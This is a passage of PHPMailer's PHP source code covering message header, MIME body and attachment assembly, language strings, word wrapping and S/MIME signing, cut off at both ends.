$this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = 